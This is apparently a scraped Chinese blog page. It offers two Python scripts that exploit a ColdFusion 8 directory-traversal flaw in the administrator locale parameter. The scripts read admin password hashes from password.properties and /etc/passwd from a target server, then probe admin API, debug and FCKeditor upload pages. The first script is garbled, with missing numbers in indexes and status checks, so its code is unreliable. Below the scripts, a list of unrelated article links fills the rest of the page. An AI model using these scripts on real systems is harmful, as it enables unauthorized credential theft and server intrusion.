Coldfusion8 读取HASH工具

#!/usr/bin/env python

#-*- coding:utf- -*-

import sys

import threading

import urllib

import httplib

class Mythread(threading.Thread):

        def __init__(self,host):

            threading.Thread.__init__(self)

            self.host = host

        def run(self):

            urls = ['/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\etc\passwd%00en']

            try:

                for path in urls:

                    out = urllib.urlopen(self.host + path).read().split(r'</title>')[].split(r'<title>')[].replace(r'rdspassword=', '\n').replace(r'encrypted=true', '\n')

                    print out

            except Exception:

                print "Error connect time"

            self.scanner()

        def scanner(self):

            #self.host = host

            cfmfck = ['/CFIDE/adminapi/_datasource/formatjdbcurl.cfm',

            '/CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm',

            '/CFIDE/adminapi/_datasource/geturldefaults.cfm',

            '/CFIDE/adminapi/_datasource/setdsn.cfm',

            '/CFIDE/adminapi/_datasource/setmsaccessregistry.cfm',

            '/CFIDE/adminapi/_datasource/setsldatasource.cfm',

            '/CFIDE/adminapi/customtags/l10n.cfm',

            '/CFIDE/debug/cf_debugFr.cfm',

            '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm']

            i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5","Accept": "text/plain"}

            for fckpath in cfmfck:

                if self.host[:] == "https://":

                    conn = httplib.HTTPSConnection(self.host.replace("https://",""))

                else:

                    conn = httplib.HTTPConnection(self.host.replace("http://",""))

                conn.request('GET',fckpath,headers = i_headers)

                r1 = conn.getresponse()

                if r1.status ==  or r1.status ==  or r1.status == :

                    print self.host + fckpath + "   " + str(r1.status)

if __name__ == "__main__":

    Mythread(sys.argv[]).start()

#!/usr/bin/env python

# -*- coding: utf8 -*-

import sys , urllib , httplib , subprocess

def banner():

    print """

#--------------------------------------------------#

#       Welcome to www.90sec.org                   #

#        THis is read ColdFusion sha1 Tool         #

#       python COldFusion.py www.WebSite.cn        #

#--------------------------------------------------#

"""

urls = ['/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\etc\passwd%00en']

cfmfck = ['/CFIDE/adminapi/_datasource/formatjdbcurl.cfm','/CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm','/CFIDE/adminapi/_datasource/geturldefaults.cfm','/CFIDE/adminapi/_datasource/setdsn.cfm','/CFIDE/adminapi/_datasource/setmsaccessregistry.cfm','/CFIDE/adminapi/_datasource/setsldatasource.cfm','/CFIDE/adminapi/customtags/l10n.cfm','/CFIDE/debug/cf_debugFr.cfm','/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm']

try:

    host = sys.argv[1]

    if len(host) < '':

        banner()

    for url in urls:

        context = urllib.urlopen(host + url).read()

        out = context.split(r'</title>')[0].split(r'<title>')[1].replace(r'rdspassword=', '\n').replace(r'encrypted=true', '\n')

        print out

except Exception:

    banner()

    sys.exit()

else:

      for line in cfmfck:

            host = host.replace("http://","")

            line = line.replace("\n","")

            line = "/" + line

            website = host + line

            connection = httplib.HTTPConnection(host)

            connection.request("GET",line)

            response = connection.getresponse()

            if response.status == 200:

                  print website , ''

            elif response.status == 403:

                  print website , ''

            elif response.status == 500:

              print website , 'server ERROR'

Coldfusion8 读取HASH工具的更多相关文章

Redis操作Hash工具类封装，Redis工具类封装
Redis操作Hash工具类封装,Redis工具类封装 >>>>>>>>>>>>>>>>>> ...
Hash工具下载地址
因为经常要在非常用电脑使用,这里放一个链接,方便下载: http://files.cnblogs.com/files/cxun/Hash.zip HASH计算工具,可计算MD5.SHA-1.CRC32 ...
POI读取excel工具类返回实体bean集合(xls,xlsx通用)
本文举个简单的实例读取上图的 excel文件到 List<User>集合首先导入POi 相关 jar包在pom.xml 加入  <depe ...
.NET Core 常用加密和Hash工具NETCore.Encrypt
前言在日常开发过程中,不可避免的涉及到数据加密解密(Hash)操作,所以就有想法开发通用工具,NETCore.Encrypt就诞生了.目前NETCore.Encrypt只支持.NET Core ,工 ...
poi读取excel工具类
package com.manage.utils; import ch.qos.logback.core.net.SyslogOutputStream; import com.google.gson. ...
读取配置文件工具demo
//读取配置文件public class ResourcesUtils { /* * @description:根据属性获取文件名 * * @param:propertyName文件的属性名 * * ...
【工具】读取proprtties工具类
获取properties内容: 基本的使用看网络上大多是这样的,使用时注意线程安全以及读写的实时性问题. 1.直接通过流读取(反射): InputStream inStream = this.get ...
meterpreter读取hash明文记录
今天测试某个站点时读hash老出错这里做下读hash的笔记进去meterpreter后getuid一 1 2 meterpreter > getuid Server username: NT ...
PropertiesUtil 读取配置文件工具类
package org.konghao.basic.util; import java.io.FileInputStream; import java.io.FileNotFoundException ...

随机推荐

移动端web页面上滑加载更多功能
背景介绍: 开发企业微信的一个应用,实现在企业微信中调用自己程序页面,页面加载多模块数据,向下滑加载更多,等等等等,一波三折然后很早就成功了是这样实现的: html: <div id=&quo ...
170111、MapperScannerConfigurer处理过程源码分析
前言本文将分析mybatis与spring整合的MapperScannerConfigurer的底层原理,之前已经分析过java中实现动态,可以使用jdk自带api和cglib第三方库生成动态代理. ...
postgresql常用
postgresql 字符串转整数 int.integer --把'1234'转成整数 select cast('1234' as integer ) ; --用substring截取字符串,从第8个 ...
python中matplotlib绘图封装类之折线图、条状图、圆饼图
DrawHelper.py封装类源码: import matplotlib import matplotlib.pyplot as plt import numpy as np class DrawH ...
libprotobuf 编译错误处理
1. 编译完链接的时候报错undefined reference to well_known_types_js' 出现这个错误的原因是升级gcc导致的,是程序依赖的include文件和实际链接的文件不 ...
Javascript调用WinForm方法
window.external.MyMessageBox('javascript访问C#代码')
linux系统各种日志存储路径和详细介绍
Linux常见的日志文件详述如下1./var/log/boot.log(自检过程)2./var/log/cron (crontab守护进程crond所派生的子进程的动作)3./var/log/mail ...
linux7开机自启动东方通tongweb
自启动服务: 可以通过把TongWeb设置为系统服务来实现. 具体实现: 以root用户进行操作,在/etc/init.d目录下编写TongWeb的服务脚本tongweb,用来控制TongWeb的启动 ...
微信js分享朋友圈（一）
1.绑定域名先登录微信公众平台进入“公众号设置”的“功能设置”里填写“JS接口安全域名”. 备注:登录后可在“开发者中心”查看对应的接口权限. 2.引入js文件 <script type=&q ...
一.数据库连接对象connection
1.python 3.5,需要把MySQLdb换成pymysql

Coldfusion8 读取HASH工具

Coldfusion8 读取HASH工具的更多相关文章

随机推荐

热门专题